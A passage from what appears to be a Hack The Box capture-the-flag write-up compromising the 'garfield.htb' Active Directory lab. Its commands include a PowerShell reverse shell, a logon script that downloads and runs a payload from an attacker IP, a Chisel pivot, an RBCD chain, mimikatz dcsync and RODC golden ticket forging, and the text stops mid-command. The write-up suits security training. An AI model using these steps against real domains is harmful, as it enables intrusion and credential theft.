    &lt;/span&gt;&lt;span class="nv"&gt;$sendback2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$sendback&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"PS "&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pwd&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&amp;gt; "&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$sendbyte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;text.encoding&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;ASCII&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;GetBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$sendback2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$stream&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$sendbyte&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;$sendbyte&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$stream&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Flush&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$client&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Logon script launcher (&lt;code&gt;evil.bat&lt;/code&gt;):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;@echo &lt;span class="na"&gt;off&lt;/span&gt;
&lt;span class="kd"&gt;powershell&lt;/span&gt; &lt;span class="na"&gt;-nop -w &lt;/span&gt;&lt;span class="kd"&gt;hidden&lt;/span&gt; &lt;span class="na"&gt;-c &lt;/span&gt;&lt;span class="s2"&gt;"IEX(New-Object Net.WebClient).DownloadString('http://&amp;lt;ATTACKER-IP&amp;gt;/shell.ps1')"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This downloads and executes the PowerShell payload entirely in memory (fileless execution) - avoiding writing suspicious files to disk and allowing quick payload iteration.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.3 Hosting and Uploading the Payload
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 80

smbclient //&amp;lt;MACHINE-IP&amp;gt;/SYSVOL &lt;span class="nt"&gt;-U&lt;/span&gt; &lt;span class="s1"&gt;'garfield.htb/j.arbuckle%Th1sD4mnC4t!@1978'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"cd garfield.htb&lt;/span&gt;&lt;span class="se"&gt;\s&lt;/span&gt;&lt;span class="s2"&gt;cripts; put /path/to/evil.bat evil.bat"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Start a listener:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-lnvp&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Set &lt;code&gt;l.wilson&lt;/code&gt;'s logon script path to point at the malicious script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bloodyAD &lt;span class="nt"&gt;-d&lt;/span&gt; garfield.htb &lt;span class="nt"&gt;-u&lt;/span&gt; j.arbuckle &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Th1sD4mnC4t!@1978'&lt;/span&gt; &lt;span class="nt"&gt;--host&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nb"&gt;set &lt;/span&gt;object l.wilson scriptPath &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"evil.bat"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When &lt;code&gt;l.wilson&lt;/code&gt; next logs in, the logon script runs and a reverse shell connects back to the attacker.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Logon scripts only execute during authentication, so this attack is timing-dependent. Options to speed things up include waiting for a natural login, forcing authentication where possible, or targeting a user known to log in frequently.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  4. Lateral Movement
&lt;/h2&gt;

&lt;p&gt;BloodHound had already flagged that &lt;code&gt;l.wilson&lt;/code&gt; can change the password of &lt;code&gt;l.wilson_adm&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.1 Resetting the Password for l.wilson_adm
&lt;/h3&gt;

&lt;p&gt;From the shell obtained as &lt;code&gt;l.wilson&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ADSI&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="s2"&gt;"LDAP://CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;SetPassword&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Password12!"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;SetInfo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.2 User Flag
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;evil-winrm &lt;span class="nt"&gt;-i&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s1"&gt;'l.wilson_adm'&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Password12!'&lt;/span&gt;

&lt;span class="k"&gt;*&lt;/span&gt;Evil-WinRM&lt;span class="k"&gt;*&lt;/span&gt; PS C:&lt;span class="se"&gt;\U&lt;/span&gt;sers&lt;span class="se"&gt;\l&lt;/span&gt;.wilson_adm&lt;span class="se"&gt;\D&lt;/span&gt;ocuments&amp;gt; &lt;span class="nb"&gt;type &lt;/span&gt;C:&lt;span class="se"&gt;\U&lt;/span&gt;sers&lt;span class="se"&gt;\l&lt;/span&gt;.wilson_adm&lt;span class="se"&gt;\D&lt;/span&gt;esktop&lt;span class="se"&gt;\U&lt;/span&gt;ser.txt
HTB&lt;span class="o"&gt;{&lt;/span&gt;REDACTED&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  5. Privilege Escalation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 Writable Objects
&lt;/h3&gt;

&lt;p&gt;With &lt;code&gt;l.wilson_adm&lt;/code&gt; compromised, writable AD objects were enumerated:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bloodyAD &lt;span class="nt"&gt;--host&lt;/span&gt; garfield.htb &lt;span class="nt"&gt;-u&lt;/span&gt; l.wilson_adm &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Password12!'&lt;/span&gt; get writable

distinguishedName: &lt;span class="nv"&gt;CN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;S-1-5-11,CN&lt;span class="o"&gt;=&lt;/span&gt;ForeignSecurityPrincipals,DC&lt;span class="o"&gt;=&lt;/span&gt;garfield,DC&lt;span class="o"&gt;=&lt;/span&gt;htb
permission: WRITE

distinguishedName: &lt;span class="nv"&gt;CN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;RODC01,OU&lt;span class="o"&gt;=&lt;/span&gt;Domain Controllers,DC&lt;span class="o"&gt;=&lt;/span&gt;garfield,DC&lt;span class="o"&gt;=&lt;/span&gt;htb
permission: WRITE

distinguishedName: &lt;span class="nv"&gt;CN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Liz Wilson ADM,CN&lt;span class="o"&gt;=&lt;/span&gt;Users,DC&lt;span class="o"&gt;=&lt;/span&gt;garfield,DC&lt;span class="o"&gt;=&lt;/span&gt;htb
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;WRITE&lt;/code&gt; on the RODC01 computer object allows modification of its attributes - including &lt;code&gt;msDS-AllowedToActOnBehalfOfOtherIdentity&lt;/code&gt;. Controlling that attribute lets an attacker-controlled machine account impersonate any user when authenticating to RODC01: Resource-Based Constrained Delegation (RBCD).&lt;/p&gt;

&lt;h3&gt;
  
  
  5.2 Resource-Based Constrained Delegation (RBCD)
&lt;/h3&gt;

&lt;p&gt;With &lt;code&gt;WRITE&lt;/code&gt; access over RODC01, the plan was to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Create a machine account fully controlled by the attacker&lt;/li&gt;
&lt;li&gt;Configure RBCD on RODC01 pointing at that account&lt;/li&gt;
&lt;li&gt;Impersonate a privileged user (Administrator) when requesting a service ticket&lt;/li&gt;
&lt;li&gt;Gain remote access to RODC01&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;An initial connection attempt to RODC01 failed outright. Recalling the dual-homed DC discovered during recon, and now knowing the hostname &lt;code&gt;RODC01.garfield.htb&lt;/code&gt;, a DNS lookup was the next step.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.3 Internal Network Discovery
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;dig @dc01.garfield.htb RODC01.garfield.htb

&lt;span class="p"&gt;;;&lt;/span&gt; ANSWER SECTION:
RODC01.garfield.htb.    1200    IN      A       192.168.100.2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;RODC01&lt;/code&gt; resolves to &lt;code&gt;192.168.100.2&lt;/code&gt; - an RFC1918 private address, confirming the host sits on the internal-only network segment behind the dual-homed DC and isn't directly reachable from the attacker machine.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.4 Pivoting via Chisel
&lt;/h3&gt;

&lt;p&gt;A Chisel server was started on the attacker machine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;chisel server &lt;span class="nt"&gt;-p&lt;/span&gt; 8000 &lt;span class="nt"&gt;--reverse&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Chisel was uploaded to the &lt;code&gt;l.wilson_adm&lt;/code&gt; session and connected back to establish a reverse SOCKS tunnel:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;upload&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/path/to/chisel.exe&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;\Chisel.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;client&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;ATTACKER-IP&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nx"&gt;8000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;R:socks&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Proxychains was then configured to route through the tunnel:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;nano /etc/proxychains4.conf
&lt;span class="c"&gt;# Ensure:&lt;/span&gt;
socks5 127.0.0.1 1080
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Connectivity to the internal network was verified:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;proxychains nmap &lt;span class="nt"&gt;-p445&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; 192.168.100.2

PORT    STATE    SERVICE
445/tcp filtered microsoft-ds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Although the port shows filtered rather than open, receiving any response via proxychains confirms traffic is being successfully routed through the tunnel into the internal segment.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.5 RBCD Exploitation
&lt;/h3&gt;

&lt;p&gt;With &lt;code&gt;l.wilson_adm&lt;/code&gt; controlled and a route to RODC01 established, the RBCD chain was executed to ultimately abuse RODC-specific replication controls and extract sensitive credentials.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Add &lt;code&gt;l.wilson_adm&lt;/code&gt; to RODC Administrators:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Add-ADGroupMember&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Identity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"RODC Administrators"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Members&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"l.wilson_adm"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-ADGroupMember&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"RODC Administrators"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Group membership changes require a new logon session to take effect, so the WinRM session was reconnected:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;evil-winrm &lt;span class="nt"&gt;-i&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt; &lt;span class="nt"&gt;-u&lt;/span&gt; l.wilson_adm &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Password12!'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;1. Add a fake computer account.&lt;/strong&gt; By default, domain users can create a limited number of machine accounts (&lt;code&gt;ms-DS-MachineAccountQuota&lt;/code&gt;), which is enough to create a fully attacker-controlled computer object required for RBCD:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;addcomputer.py &lt;span class="nt"&gt;-dc-ip&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-computer-name&lt;/span&gt; &lt;span class="s1"&gt;'EVIL$'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-computer-pass&lt;/span&gt; &lt;span class="s1"&gt;'EvilPass123!'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s1"&gt;'garfield.htb/l.wilson_adm:Password12!'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;2. Delegate RODC01 to the fake computer:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rbcd.py &lt;span class="nt"&gt;-delegate-to&lt;/span&gt; &lt;span class="s1"&gt;'RODC01$'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-delegate-from&lt;/span&gt; &lt;span class="s1"&gt;'EVIL$'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-action&lt;/span&gt; write &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s1"&gt;'garfield.htb/l.wilson_adm:Password12!'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-dc-ip&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;3. Request a service ticket for RODC01, impersonating Administrator:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;proxychains getST.py &lt;span class="se"&gt;\&lt;/span&gt;
  garfield.htb/&lt;span class="s1"&gt;'EVIL$'&lt;/span&gt;:&lt;span class="s1"&gt;'EvilPass123!'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-spn&lt;/span&gt; cifs/RODC01.garfield.htb &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-impersonate&lt;/span&gt; Administrator &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-dc-ip&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;4. Export and use the ticket:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;KRB5CCNAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;5. Connect via &lt;code&gt;wmiexec&lt;/code&gt;:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;proxychains wmiexec.py &lt;span class="nt"&gt;-k&lt;/span&gt; &lt;span class="nt"&gt;-no-pass&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-target-ip&lt;/span&gt; 192.168.100.2 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s1"&gt;'garfield.htb/Administrator@RODC01.garfield.htb'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.6 Forcing Credential Replication
&lt;/h3&gt;

&lt;p&gt;RODCs don't cache all domain credentials by default - only accounts explicitly permitted by the Password Replication Policy (PRP). The policy was modified to allow replication of the real &lt;code&gt;Administrator&lt;/code&gt; account.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;PowerView.ps1&lt;/code&gt; (bundled by default on Kali) was uploaded to the &lt;code&gt;l.wilson_adm&lt;/code&gt; session:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;locate powerview.ps1
/usr/share/powershell-empire/empire/server/data/module_source/situational_awareness/network/powerview.ps1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;upload&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/path/to/powerview.ps1&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Configure the RODC to cache Administrator credentials:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Import-Module&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;\PowerView.ps1&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;Set-DomainObject&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Identity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;RODC01&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="s1"&gt;'msDS-RevealOnDemandGroup'&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;@(&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s1"&gt;'CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s1"&gt;'CN=Administrator,CN=Users,DC=garfield,DC=htb'&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;Set-DomainObject&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Identity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;RODC01&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Clear&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'msDS-NeverRevealGroup'&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Force credential replication:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;repadmin /rodcpwdrepl RODC01 DC01 &lt;span class="s2"&gt;"CN=Administrator,CN=Users,DC=garfield,DC=htb"&lt;/span&gt;

Successfully replicated secrets &lt;span class="k"&gt;for &lt;/span&gt;user &lt;span class="nv"&gt;CN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Administrator,CN&lt;span class="o"&gt;=&lt;/span&gt;Users,DC&lt;span class="o"&gt;=&lt;/span&gt;garfield,DC&lt;span class="o"&gt;=&lt;/span&gt;htb on read-only DC RODC01 from full DC DC01.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  5.7 Extracting Keys and Forging Tickets
&lt;/h2&gt;

&lt;p&gt;With the real Administrator's credentials now cached on the RODC, its &lt;code&gt;krbtgt_8245&lt;/code&gt; key (the RODC-specific KDC key) was dumped with mimikatz:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;mimikatz.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;lsadump::dcsync&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/user:garfield\krbtgt_8245&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Forging a RODC Golden Ticket&lt;/strong&gt; using the extracted key (Rubeus uploaded to the RODC01 shell):&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Use Rubeus v2.3.3 or later - older versions silently ignore the &lt;code&gt;/keyList&lt;/code&gt; flag.&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;\Rubeus.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;golden&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/rodcNumber:8245&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/flags:forwardable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;renewable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;enc_pa_rep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/nowrap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;\&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;/outfile:ticket.kirbi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/aes256:&lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;AES_KEY&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/user:Administrator&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/id:500&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;\&lt;/span&gt;&lt;span class="w"&gt;
